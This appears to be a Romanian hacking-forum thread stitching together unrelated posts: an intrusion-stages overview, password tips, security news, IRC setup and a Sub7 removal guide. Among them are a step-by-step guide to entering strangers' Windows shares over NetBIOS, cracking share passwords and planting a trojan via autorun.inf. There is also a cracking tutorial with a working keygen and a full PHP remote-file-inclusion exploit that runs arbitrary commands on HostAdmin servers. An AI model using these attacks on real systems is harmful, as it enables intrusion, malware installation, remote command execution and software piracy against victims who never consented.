DS

Care este un scenariu tipic de intruziune intr-un sistem? pas 1: explorare din exterior: intrusul va afla cat de multe lucruri posibile fara sa-si divulge prezenta. Ei vor realiza asta cautand informatii publice sau aparand ca un utilizator normal. In acest stadiu el nu poate fi detectat. Intrusul va face o cautare de tipul "cine e" ("whois" lookup) pentru a gasi cat mai multe informatii posibile despre reteaua interna, despre DNS-uri (Intrusul poate chiar sa umble prin tabela de DNS-uri, folosind 'nslookup', 'dig', sau alte utilitati pentru a realiza tranfer de domeniu) pentru a gasi numele masinilor din retea. Intrusul va survola (browse) alte informatii publice, cum ar fi de exemplu adresele publice de web si site-urile de FTP anonim. Intrusul ar putea sa caute articole, stiri si comunicate de presa. pas 2: explorare din interior: intrusul foloseste tehnici mai invadatoare pentru a obtine informatii, dar inca nu face nici o stricaciune. Ei pot sa umble prin toate paginile web in cautarea scripturilor CGI (scripturile CGI sunt deseori usor de spart ). Pot face o survolare 'ping' pentru a vedea care masini sunt active. Pot face un scan/strobe UDP/TCP pe masinile vizate pentru a vedea care servicii sunt disponibile. Ei vor rula utilitati ca 'rcpinfo', 'showmount', 'snmpwalk', etc pentru a vedea ce este disponibil. Pana in acest punct intrusul a avut o activitate 'normala' pe retea si nu a comis nimic ce poate fi clasificat ca o intruziune. In acest punct, un NIDS va fi capabil sa va spuna ca 'cinveva verifica, dar inca nimeni nu a incercat sa produca pagube sau sa acceseze sitemul neautorizat'. pas 3: exploit (a abuza, a exploata, gaurile din sistem): intusul traverseaza granita (crosses the line) si incepe sa exploateze posibile neajunsuri in masinile vizate. Intrusul ar putea incerca sa compromita scripturile CGI trimitand comenzi shell in fisierele de input. Intrusul ar putea sa incerce sa exploateze greseli bine cunoscute de depasiri de buffer (well-known buffer-overrun holes ) . Intrusul ar putea incepe sa caute conturi de logare cu parole usor de ghicit (sau goale). Hacker-ul poate trece prin diferite stadii de exploatare. De exemplu, daca hacker-ul a reusit sa acceseze un cont utilizator el va incerca alte exploatari pentru a ajunge la accesul de administrator/root. pas 4: foot hold (loc de sprijin): in acest stadiu, hacker-ul a obtinut cu succes un punct de sprijin in reteaua interna spargand o masina. Telul principal al intrusului este sa ascunda dovezile atacului (reparand fisierele de trail si log) si sa se asigure ca vor putea reveni inauntru la o data ulterioara. Ei ar putea sa instaleze unelte (toolkits) care sa le dea acces, sa inlocuiasca servicii existente cu proprii lor cai troiani care au backdoor, sau sa isi creeze propriile conturi de utilizatori. SIV - urile (System Integrity Verifiers) pot deseori detecta un intrus in acest punct remarcand fisierele de sistem schimbate. Hacker-ul va folosi apoi sistemul ca un prag de sprijin (stepping stone), pentru ca majoritatea retelelor au mai putine metode de protectie impotriva atacurilor din interiorul retelei. pas 5: profitul: intrusul profita de pe urma pozitiei obtinute pentru a fura date confidentiale, pentru a folosi inadecvat resursele de sistem (adica atacarea (stage attacks) altor site-uri din site-ul tau) sau sa strice paginile web. Alt scenariu incepe diferit. In loc sa fie un atac asupra unui site anume, un intrus ar putea sa scaneze la intamplare adresele de internet cautand anumite gauri (specific hole). De exemplu, un intrus ar putea incerca sa scaneze intregul Internet dupa masini care au garua SendMail DEBUG. Apoi vor exploata pur si simplu masinile care le gasesc avand aceasta gaura. Ei nu te au in vizor pe tine in mod special, si probabil ca nici nu vor sti cine sunt persoanele pe care le ataca. (Acesta este cunoscut ca un 'atac de ziua ta', fiind data o lista de prea-bine-cunoscute gauri in securitate si o lista de adrese IP, exista o sansa mare ca exista undeva o masina care are macar una din acele gauri.) Bafta!

Cum sa iti alegi o parola proasta!!! Pentru conturile de email, pentru conturile de pe un calculator avem intotdeuna nevoie de o parola. Exista parole bune si parole proaste. Parolele bune sunt greu de ghicit de altcineva, pe cand parolele prost alese sunt relativ usor de ghicit, cu conditia ca cel care doreste sa va ghiceasca parola sa stie cateva informatii despre voi. 0. Cea mai proata ideie este sa va alegeti parola identica cu numele de utilizator. Daca aveti un cont de email, sa zicem ion@email.com, numele de utilizator este ion atunci ar fi o ideie extrem de proasta sa alegeti parola ion. 1. Ca sa faceti usoara munca celui care vrea sa va ghiceasca parola alegeti numele vostru sau derivate din el ca parola. ionpopescu sau iondumitrupopescu sau idp sau popescu si lista poate continua. 2. numele cuiva apropiat voua: prietena, nevasta, copil, caine pisica sau alte animale de casa. 3. numele vostru urmat de niste cifre care reprezinta ziua de nastere, sau anul sau luna, sau combinatii. ion1979, ionpopescu1983. 4. nume de formatii de muzica sau actori preferati, personaje din filme. vor fi foarte greu de ghicit mai ales daca persoana care incearca sa ghiceasca parola va cunoaste cat de cat. 5. numar de telefon, cnp. 6. un pic mai greu de ghicit ar fi cuvintele de dictionar. desi nu pot fi introduse manual de cineva se poate folosi un program care sa incerce toate cuvintele dintr-un dictionar. nu va ganditi la dictionar ca fiind un dex, ci un fisier de cuvinte alese dupa statistici si analize lingvistice. un dictionar de ghicit parole pentru limba engleza nu va fi bun pentru romana si invers. daca nu vreti sa aveti surpriza neplacuta ca cineva sa va acceseze contul urmati idicatiile care utmeaza in momentul in care va alegeti o parola: nota generala: cele mai bune parole sunt o combinatie de litere mici, majuscule, cifre semne de punctuatie. 1. dimeniunea minima de 6 caractere. 2. folositi mai multe cuvinte sau franturi de cuvinte fara legatura aparenta intre ele. 3. inlocuiti toate aparitiile unei litere dintr-un cuvant cu un simbol (@#$%^&*) 4. luati primele litere de la cuvintele unei poezii, cau citat pe care il stiti pe de rost. 5. alternati caracterele mici cu majusculele 6. schimbati-va parola din cand in cand 7. nu folositi aceiasi parola la mai multe conturi 9. este o ideie buna sa scrieti parola undeva, pe o hartie sau intr-un fisier criptat, dar aveti grija sa nu ajunga cineva la ea

..:: Doi troieni se dau drept patches pentru Windows. ::.. Conform companie engleze Sophos exista in libertate troianul "BeastPWS-C" care pretinde ca este un patch la o vunerabilitate din "WinLogon Service". Troianul vine atasat la un mail si odata activat se instaleaza un keylogger. Al doilea troian a fost descoperit de Kaspersky Labs, din Moscova, si este denumit "Sinowal.u", pretinde ca este un program care va proteja computeul impotriva unui noi virus. Troianul inregistreaza numele de utilizator si parola de la cateva situri bancare. link sursa stire: http://www.techweb.com/wire/security/18850...BNCKHSCJUMEKJVN id stire: 97 data introducerii: 2006-05-31 12:22:52

Conform lui Roberto Preatoni de la Zone-H.org un hacker din turcia a lovit siturile http://sonymusicstudios.co.uk/ si http://sonymusic.it/index.php apartinand lui Sony Music. Astfel de atacuri au un efect negativ asupra imagii firmei, fiid foarte rau pentru imaginea ei sa apara pe Zone-H.org Zone-H.org este un site care inregistraza zilnic atacurile care au loc pe Internet. Nefiind afiliat nici unei companii de securitate, datele despre atacuri vin direct de la atacatori. Unul din scopul declarat al sitului este de a demonstra ca nu sistemul de operare conteaza in cazul unui atac ci implemantarea. link sursa stire: http://blogs.zdnet.com/Ou/?p=237 id stire: 98 data introducerii: 2006-05-31 12:38:08

RE

1. Ce este NetBIOS-ul. 2. NetBIOS in Windows. 3. Gasirea punctului slab. 4. Exploatarea punctului slab. 5. Cum treci de parola. 6. Cum poti determina un sistem de operare sa activeze optiunea de share pe toate partitiile sale. ____________________________________________________________________________________________________________________________ 1. NetBIOS (Network Basic Input/Output System) este un concept operational realizat de IBM si Sytek realizat pentru a indeplini rolul de API (Application Programming Interface) pentru ca o aplicatie sa poata accesa resursele unei retele. Pe scurt NetBIOS permite aplicatiilor sa comunice cu o retea. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2. NetBIOS in Windows. Un computer poate fi accesat cu NetBIOS daca are deschis portul 139. Acest port (139) este cel mai periculos port de pe internet. Toate fisierele si imprimantele ce au pornita optiunea de share pe un sistem Windows ruleaza pe acest port. Aproximativ 10% din totalitatea utilizatorilor de Internet au hard disk-urile expuse prin intermediul acestui port. Portul acesta (139) este primul port la care vrea sa se conecteze un Hacker si tot acest port este cel blocat de un Firewall. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 3. Gasirea punctului slab. Pentru a gasi un computer vulnerabil trebuie sa scanati o retea sau o arie de IP-uri pentru a vedea care are portul 139 deschis. Pentru acest lucru recomand folosirea programului IPScan (acest program se poate gasi pe CD-ul nostru). Odata ce se termina scanarea si se gasesc IP-uri vulnerabile se trece la punctul 4. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 4. Exploatarea punctului slab. Dupa alegerea IP-ului vulnerabil se trece la conectarea cu acesta astfel: START > RUN > In casuta de RUN se introduce comanda xxx.xxx.xxx.xxx apoi se da clic pe OK. ATENTIE xxx.xxx.xxx.xxx este IP-ul gasit de voi asa ca inlocuiti x-urile cu IP-ul gasit Daca totul a mers bine ar trebui sa se deschida o fereastra cu continutul hard disk-ului victimei. Acum puteti vedea, realiza download sau uploade sau chiar sterge fisierele de pe computerul victimei. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 5. Cum treci de parola. Se poate intampla uneori ca computerul la care incerci sa te conectezi sa fie protejat de o parola. In acest caz trebuie sa folosesti programul PQwak (acest program se poate gasi pe CD-ul nostru). In acest program nu trebuie decat sa introduci IP-ul si numele de share. Numele de share este numele folder-ului care este protejat de parola. Dupa ce ati introdus aceste lucruri trebuie doar sa urmariti cum lucreaza PQwak. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 6. Cum poti determina un sistem de operare sa activeze optiunea de share pe toate partitiile sale. Daca partitia care are activata obtiunea de share este (C: D: etc.) atunci poti pune un troian care-ti poate oferi accesul la restul partitiilor si chiar la intregul computer. Pentru a realiza acest lucru trebuie creat un fisier ce va purta numele de autorun.inf Pentru a realiza acest fisier trebuie sa creati un fisier txt care sa contina urmatoarele: ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- CELE SCRISE MAI JOS TREBUIESC COPIATE FARA MODIFICARI. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- [autorun] open=autoexec.bak.exe ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- Dupa care se salveaza fisierul txt modificandu-se extensia din .txt in .inf Apoi cu ajutorul unui Troian (pe cd-ul nostru puteti gasi multe astfel de programe) se realizeaza un troian numit autoexec.bak.exe Acum cand cele doua fisiere sunt gata trebuie sa le copiem in directorul principal adica in radacina. Spre exemplu daca avem acces la partitia C: atunci fisierele noastre vor fi copiate direct pe aceasta partitie fara sa fie puse in folder. Acum nu trebuie decat sa asteptati ca victima sa acceseze partitia in care ati pus cele doua fisiere. Odata accesata acesta partitie troianul se va executa oferind acces la tot computerul.

Scara dar ce avatar ti-ai gasit omule ! doamne ...

Welcome abord ! din cate se vede esti prima fata pe forum .Am dreptate ?

Mai intai,downloadeaza :Bewareircd http://www.x.as.ro/bewareircd.zip si Bewareserv http://www.x.as.ro/bewareserv-2.1.1-win32-i386.zip . Dupa ce ai downloadat aceste 2 programe,dezarhiveaza-l mai intai pe Bewareircd,care este server-ul de IRC . Dupa ce ai dezarhivat,deschide cu Notepad-ul fisierul ircd.conf si bircd.ini si seteaza-ti configurarile dorite.Mai jos o sa aflii o lista de instructiuni pentru comenzi de editat in ircd.conf: M:my.server.name::I'm too lazy to edit ircd.conf::1 -aici iti editezi numele server-ului si o scurta descriere,ex.M:Undernet.Cluj.Ro::Server de distractie:: -numele trebuie sa contina minim 1 punct intre cuvinte,pentru a fi valit! Y:1:90:0:512:80000 Y:10:90:0:3:750000 Y:20:90:300:0:3000000 -aceste pasaje este recomandat sa le lasati intacte I:*@*:9:*@*::1 -acesta este I-line-ul,adica identitatea.Numarul 9 din centru indica maxim 9 clone permise.Se poate micsora numarul pana la1.Nu este recomandat sa puneti 10 sau numere mai mari,ca va va da eroarea Invalid Argument. HINTaca server-ul e pe calculatorul tau,atunci TU poti sa-ti pui un numar infinit de clone,deoarece ai propria ta raza de IP,de la 127.0.0.1 pana la 127.0.0.99.Tu,te poti conecta la propria ta adresa de IP,precum clientii(ex. /server 81.91.271.123),sau te poti conecta pe localcost-ul tau 127.0.0.1De exemplu,daca I-line-ul tau este setat la max 9 clone,atunci pe 127.0.0.1 vor putea fi conectati max 9 clienti(ai tai)!In cazul acesta, tasteaza /server 127.0.0.2 si vei putea conecta inca 9 clienti,si tot asa,pana la 127.0.0.99 C:127.0.0.1:pass:services.server.name::20 N:127.0.0.1:pass:services.server.name::20 -acesta este C-line-ul,cu care se vor accepta servere de servicii,precum U-world la Undernet -server-ul tau de servicii este bewareserv,pe care tu l-ai downloadat de mai sus. Pentru a deveni ircop, urmeaza mai jos # syntax for O:lines (needed to become IRCop) # fill in your mask, your password, your name # type /oper name password, in the irc client, to use. # O:adresa de ip a operatorului:parola:nume::10 O:127.0.0.1:parola:voicu::10 Dupa ce ti-ai configurat server-ul si configurat bircd.ini (este floare la ureche!!!), dati dublu click pe bircd.exe si apoi deschideti un mirc si tastati /server 127.0.0.1 (localhost) si va veti conecta. Apoi va autentificati ca si ircopi. Pentru a aduce X, urmati atenti instructiunile din bewareserv(bewareserv.ini), care sunt destul de usoare, dar necesita atentie. Accesele vor fi generale, si nu vor fi precum pe Undernet, pe canale! Bafta!!!

Pot sa zic ca arata mai bine acu site-ul cu impunatatiri bravo bravo

Sper sa fie de folos: I used the following tools : SoftIce 3.01, W32Dasm 8.9, Notepad (word wrap on) - and my brain . For all who don't like code snippets in there tutorials - my apologies right now - cause the following text contains quite a lot of it. Another thing, due to all the code we have to trace to get to the complete "create_good_serial" construction I won't explain the code in detail, I'll just explain it where I think it's necessary and I tell you what the result is of the code. So let's get to work! Load the target, and load SoftIce (SI). Press "Agree_and_Register" button. Fill out the 3 information fields, I used the following information, Name : Vizion Company : MeX/C4N Serial : 12121212 Get in SI and set a breakpoint on GetDlgItem, get out SI. Press "Ok" button. This should bring you back in SI, press F11 and you should see the following piece of code , * Reference To: USER32.GetDlgItem, Ord:00F3h | :0040246A 8B3D6C144200 mov edi, dword ptr [0042146C] <--- load GetDlgItem in edi :00402470 8D8518FFFFFF lea eax, dword ptr [ebp+FFFFFF18] :00402476 50 push eax :00402477 6A64 push 00000064 :00402479 6A0D push 0000000D :0040247B 6813040000 push 00000413 :00402480 53 push ebx :00402481 FFD7 call edi <--- read user name * Reference To: USER32.SendMessageA, Ord:01DAh | :00402483 8B3568144200 mov esi, dword ptr [00421468] <--- you should be here :00402489 50 push eax :0040248A FFD6 call esi :0040248C 8D4580 lea eax, dword ptr [ebp-80] :0040248F 50 push eax :00402490 6A64 push 00000064 :00402492 6A0D push 0000000D :00402494 680F040000 push 0000040F :00402499 53 push ebx :0040249A FFD7 call edi <--- read company name :0040249C 50 push eax :0040249D FFD6 call esi :0040249F 8D45E8 lea eax, dword ptr [ebp-18] :004024A2 50 push eax :004024A3 6A14 push 00000014 :004024A5 6A0D push 0000000D :004024A7 6814040000 push 00000414 :004024AC 53 push ebx :004024AD FFD7 call edi <--- read serial number :004024AF 50 push eax :004024B0 FFD6 call esi :004024B2 8D45E8 lea eax, dword ptr [ebp-18] <--- addr : entered serial :004024B5 50 push eax :004024B6 8D4580 lea eax, dword ptr [ebp-80] <--- addr : company :004024B9 50 push eax :004024BA 8D8518FFFFFF lea eax, dword ptr [ebp+FFFFFF18] <--- addr : name :004024C0 50 push eax :004024C1 E886000000 call 0040254C <--- here_it_happens :004024C6 83C40C add esp, 0000000C :004024C9 85C0 test eax, eax <--- is entered serial ok :004024CB 7D15 jge 004024E2 <--- yes? jmp_good_buyer :004024CD 6A30 push 00000030 ... I suggest, that you check the lines at 004024B2, 004024B6 and 004024BA in SI, just use "db eax". You should see the information you entered. So if you like to crack/patch this target I suggest you read the tutorial by bulll. Let's take a look at the call to 400254C (trace this call in SI), * Referenced by a CALL at Address: |:004024C1 | :0040254C 55 push ebp :0040254D 8BEC mov ebp, esp :0040254F 83EC18 sub esp, 00000018 :00402552 8D45E8 lea eax, dword ptr [ebp-18] :00402555 50 push eax :00402556 FF750C push [ebp+0C] :00402559 FF7508 push [ebp+08] :0040255C E8D7020000 call 00402838 <--- calculate_good_serial :00402561 83C40C add esp, 0000000C :00402564 8D45E8 lea eax, dword ptr [ebp-18] :00402567 FF7510 push [ebp+10] :0040256A 50 push eax :0040256B E8605F0000 call 004084D0 <--- compare_entered_good_serial :00402570 59 pop ecx :00402571 F7D8 neg eax :00402573 59 pop ecx :00402574 1BC0 sbb eax, eax :00402576 C9 leave :00402577 C3 ret ... What you want me to explain on the above code - get in "calculate_good_serial" call - we should see the following code, * Referenced by a CALL at Addresses: |:0040255C , :004026F6 | :00402838 55 push ebp :00402839 8BEC mov ebp, esp :0040283B 81ECEC000000 sub esp, 000000EC :00402841 56 push esi :00402842 57 push edi :00402843 FF7508 push [ebp+08] :0040255C E8D7020000 call 00402838 :00402846 8D8514FFFFFF lea eax, dword ptr [ebp+FFFFFF14] :0040284C 50 push eax :0040284D E87E5D0000 call 004085D0 <--- (1) :00402852 59 pop ecx :00402853 8D8514FFFFFF lea eax, dword ptr [ebp+FFFFFF14] :00402859 59 pop ecx :0040285A FF750C push [ebp+0C] :0040285D 50 push eax :0040285E E87D5D0000 call 004085E0 <--- (2) :00402863 59 pop ecx :00402864 8D8514FFFFFF lea eax, dword ptr [ebp+FFFFFF14] :0040286A 59 pop ecx * Possible StringData Ref from Data Obj ->"SweetHeart" <--- sweet_str | :0040286B 68147C4100 push 00417C14 :00402870 50 push eax :00402871 E86A5D0000 call 004085E0 <--- (3) :00402876 59 pop ecx :00402877 8D4508 lea eax, dword ptr [ebp+08] :0040287A 59 pop ecx :0040287B 50 push eax :0040287C 8D8514FFFFFF lea eax, dword ptr [ebp+FFFFFF14] :00402882 50 push eax :00402883 E8A8590000 call 00408230 <--- (4) :00402888 59 pop ecx :00402889 8D45E8 lea eax, dword ptr [ebp-18] :0040288C 59 pop ecx :0040288D FF7508 push [ebp+08] ... Ok, after calls (1), (2) and (3) we've got the following string in memory : VizionMeX/C4NSweetHeart - you should be able to recognize the following parts : <name><company><sweet_str>. Call (4) will calculate the serial from the string mentioned above, so lets take a look at call (4), * Referenced by a CALL at Address: |:00402883 | :00408230 8B542404 mov edx, dword ptr [esp+04] :00408234 56 push esi :00408235 33F6 xor esi, esi <--- esi = 0 :00408237 803A00 cmp byte ptr [edx], 00 :0040823A 7423 je 0040825F * Referenced by a (U)nconditional or ©onditional Jump at Address: |:0040825D© | :0040823C C1E604 shl esi, 04 <--- start creating serial :0040823F 42 inc edx :00408240 0FBE42FF movsx eax, byte ptr [edx-01] :00408244 03F0 add esi, eax :00408246 8BC6 mov eax, esi :00408248 25000000F0 and eax, F0000000 :0040824D 7407 je 00408256 :0040824F 8BC8 mov ecx, eax :00408251 C1E918 shr ecx, 18 :00408254 33F1 xor esi, ecx * Referenced by a (U)nconditional or ©onditional Jump at Address: |:0040824D© | :00408256 F7D0 not eax :00408258 23F0 and esi, eax :0040825A 803A00 cmp byte ptr [edx], 00 <--- end of string? :0040825D 75DD jne 0040823C <--- no, go on with creation * Referenced by a (U)nconditional or ©onditional Jump at Address: |:0040823A© | :0040825F 8B44240C mov eax, dword ptr [esp+0C] :00408263 6A00 push 00000000 :00408265 8930 mov dword ptr [eax], esi :00408267 E814000000 call 00408280 <--- not important :0040826C 83C404 add esp, 00000004 :0040826F 33C0 xor eax, eax :00408271 5E pop esi :00408272 C3 ret After the calculation of code lines 0040823C to 0040825D we got the following serial number : 211003668. You can try this number - just like I did - but it won't work. So exit the call, we're back at 00402888 (see above). Here is the code that follows after call (4), this part of the serial creation consist of 6 parts -OR- 6 calls. I just tell you what they do, if you like to take a closer look at them go ahead, * Possible StringData Ref from Data Obj ->"%u" | :00402890 6828724100 push 00417228 :00402895 50 push eax :00402896 E8C55C0000 call 00408560 <--- number to string conversion :0040289B 83C40C add esp, 0000000C :0040289E 8D45E8 lea eax, dword ptr [ebp-18] * Possible Reference to String Resource ID=00001: "Welcome to AxMan v2.11 (Official Release). You..." | :004028A1 6A01 push 00000001 :004028A3 6A09 push 00000009 :004028A5 6A30 push 00000030 :004028A7 50 push eax :004028A8 E853540000 call 00407D00 <--- not important (I think :004028AD 8B7510 mov esi, dword ptr [ebp+10] :004028B0 83C410 add esp, 00000010 :004028B3 8D45E8 lea eax, dword ptr [ebp-18] * Possible Reference to String Resource ID=00003: "DFEND CORP DISCLAIMS ALL WARRANTIES RELATING TO..." | :004028B6 6A03 push 00000003 :004028B8 50 push eax :004028B9 56 push esi :004028BA E861600000 call 00408920 <--- 1st part : xxx :004028BF 80660300 and byte ptr [esi+03], 00 :004028C3 83C40C add esp, 0000000C * Possible StringData Ref from Data Obj ->"-" <--- ! VERY interesting ! | :004028C6 BF107C4100 mov edi, 00417C10 :004028CB 57 push edi :004028CC 56 push esi :004028CD E80E5D0000 call 004085E0 <--- adds "-" : xxx- :004028D2 59 pop ecx :004028D3 8D45EB lea eax, dword ptr [ebp-15] :004028D6 59 pop ecx * Possible Reference to String Resource ID=00003: "DFEND CORP DISCLAIMS ALL WARRANTIES RELATING TO..." | :004028D7 6A03 push 00000003 :004028D9 50 push eax :004028DA 56 push esi :004028DB E8906D0000 call 00409670 <--- 2nd part : xxx-xxx :004028E0 80660700 and byte ptr [esi+07], 00 :004028E4 83C40C add esp, 0000000C :004028E7 57 push edi :004028E8 56 push esi :004028E9 E8F25C0000 call 004085E0 <--- adds "-" : xxx-xxx- :004028EE 59 pop ecx :004028EF 8D45EE lea eax, dword ptr [ebp-12] :004028F2 59 pop ecx * Possible Reference to String Resource ID=00003: "DFEND CORP DISCLAIMS ALL WARRANTIES RELATING TO..." | :004028F3 6A03 push 00000003 :004028F5 50 push eax :004028F6 56 push esi :004028F7 E8746D0000 call 00409670 <--- 3rd part : xxx-xxx-xxx :004028FC 83C40C add esp, 0000000C :004028FF 80660B00 and byte ptr [esi+0B], 00 :00402903 5F pop edi :00402904 5E pop esi :00402905 C9 leave :00402906 C3 ret So, now we got the following serial in memory : 211-003-668. This time it works! When we leave this call, we arrive back at 00402561 (see above), what follows is a simple string compare in call 004084D0. Well now we got the complete solution to our "create_good_serial" construction, here follows a piece of code in Turbo Pascal 7.0 - ofcourse you could write this in C, ASM (if you're suicidal or any language you like most (this code is not a perfect solution, just a quick example), -------------------------------------------------------------------------------------------------------- program AxMan; const sweet : string[10] = 'SweetHeart'; var uname, ucomp : string; unaml : byte absolute uname; ucoml : byte absolute ucomp; i, { edx } j : byte; dumm0, { esi } dumm1, { eax } dumm2 : longint; { ecx } result, temp : string; templ : byte absolute temp; begin writeln('AxMan v2.11 - Key Generator by Vizion [MeX/C4N]'); write('Enter Name : '); readln(uname); write('Enter Company : '); readln(ucomp); uname := uname + ucomp + sweet; for i := 1 to unaml do begin dumm0 := dumm0 shl $4; dumm0 := dumm0 + byte(uname); dumm1 := dumm0; dumm1 := dumm1 and $F0000000; if (dumm1 <> 0) then begin dumm2 := dumm1 shr $18; dumm0 := dumm0 xor dumm2 end; dumm0 := dumm0 and (not dumm1) end; Str(dumm0, temp); j := 1; for i := 1 to templ do begin if i in [4,7] then begin result[j] := '-'; Inc(j); result[j] := temp; end else result[j] := temp; Inc(j) end; result[0] := #11; write('Registration key : ', result) end. -------------------------------------------------------------------------------------------------------- If there is someone, who can do this key generator in assembly, please tell me and show me the source code. Would be very appreciated! I could use some teaching in assembly programming. So, that's all folks, I hope you enjoyed this "little" tutorial. Bafta

http://www.geobytes.com/IpLocator.htm?GetL...s=62.179.205.14

======================================================================================= HostAdmin - Remote Command Execution Vulnerability ======================================================================================= http://www.xorcrew.net/ http://www.xorcrew.net/ReZEN ======================================================================================= :: Summary Vendor : DreamCost Vendor Site : http://www.dreamcost.com/ Product(s) : HostAdmin - Automated Hosting Suite Version(s) : All Severity : Medium/High Impact : Remote Command Execution Release Date : 2/11/2006 Credits : ReZEN (rezen (a) xorcrew (.) net) ======================================================================================= I. Description By creating a product that integrates with the major payment processors, registrars, and provisioning tools on the market, HostAdmin gives your hosting company the power to bill and activate hosting accounts in real-time, even while you sleep at night! ======================================================================================= II. Synopsis There is a remote file inclusion vulnerability that allows for remote command execution in the index.php file. The bug is here on lines 5, 6, and 7: require("setup.php"); require("functions.php"); require("db.conf"); require($path . "que.php"); require($path . "provisioning_manager.php"); require($path . "registrar_manager.php"); the $path variable is not set prior to being used in the require() function. The vendor is no longer offering updates for this software. ======================================================================================= Exploit code: -----BEGIN----- <?php /* HostAdmin Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf url: http://www.xorcrew.net/ReZEN */ $cmd = $_POST["cmd wrote: ; $turl = $_POST["turl wrote: ; $hurl = $_POST["hurl wrote: ; $form= "<form method="post" action="".$PHP_SELF."">" ."turl: <input type="text" name="turl" size="90" value="".$turl.""> " ."hurl: <input type="text" name="hurl" size="90" value="".$hurl.""> " ."cmd: <input type="text" name="cmd" size="90" value="".$cmd.""> " ."<input type="submit" value="Submit" name="submit">" ."</form><HR WIDTH="650" ALIGN="LEFT">"; if (!isset($_POST['submit'])) { echo $form; }else{ $file = fopen ("test.txt", "w+"); fwrite($file, "<?php system("echo ++BEGIN++"); system("".$cmd.""); system("echo ++END++"); ?>"); fclose($file); $file = fopen ($turl.$hurl, "r"); if (!$file) { echo " Unable to get output.n"; exit; } echo $form; while (!feof ($file)) { $line .= fgets ($file, 1024)." "; } $tpos1 = strpos($line, "++BEGIN++"); $tpos2 = strpos($line, "++END++"); $tpos1 = $tpos1+strlen("++BEGIN++"); $tpos2 = $tpos2-$tpos1; $output = substr($line, $tpos1, $tpos2); echo $output; } ?> ------END------

Method: 1 * Firstly, get yourself a program like "Proclist" or "Netmon" [Process Managers] that tells you all the running *processes* on your system and lets you TERMINATE them! You can just view them via the "msinfo32" command [type that at the windows RUN prompt]. Verify this by typing the "netstat -an" command again. The server port should no longer be listening [waiting for connections]. 2 * After killing the server procoess delete the server executable in the windows or windowssystem directory. It could also be random if the "random file name" option was checked while configuring the server. The size should be around 370* K. 3 * Now you should remove the server startup, this could vary cuz Sub7 has 5 startup methods: For the first 2 startup methods: [registry *Run* and *RunServices* ]: 1) open Regedit.exe [via the windows RUN prompt ] 2) Remove the following 2 keys: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunABC HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesABC NOTE: ABC = Reg Key Name ....this could be anything as set as in EDITSERVER and XYZ.exe = name of sub7 server executable. This is the key value/data. Delete the whole key by right clicking it and selecting the *delete* option. For the "WIN.INI" method and "less known" method: 1) Type "sysedit" in the windows RUN menu or manually open win.ini and system.ini. 2) Delete the following lines: * In System.ini delete the line "shell=exprorer.exe XYZ.exe" * In Win.ini delete the line(s) " load = XYZ.exe" or "run = XYZ.exe" NNOTE: DO NOT delete any other lines except the ones containing the Sub7 server [XYZ.exe], this could affect your system e.g some printer drivers load via the "run = whatever.exe" commandN 4 * Reboot the system and check "netstat -an" again. If the port is still listening repeat steps 1-3

KAV -the best-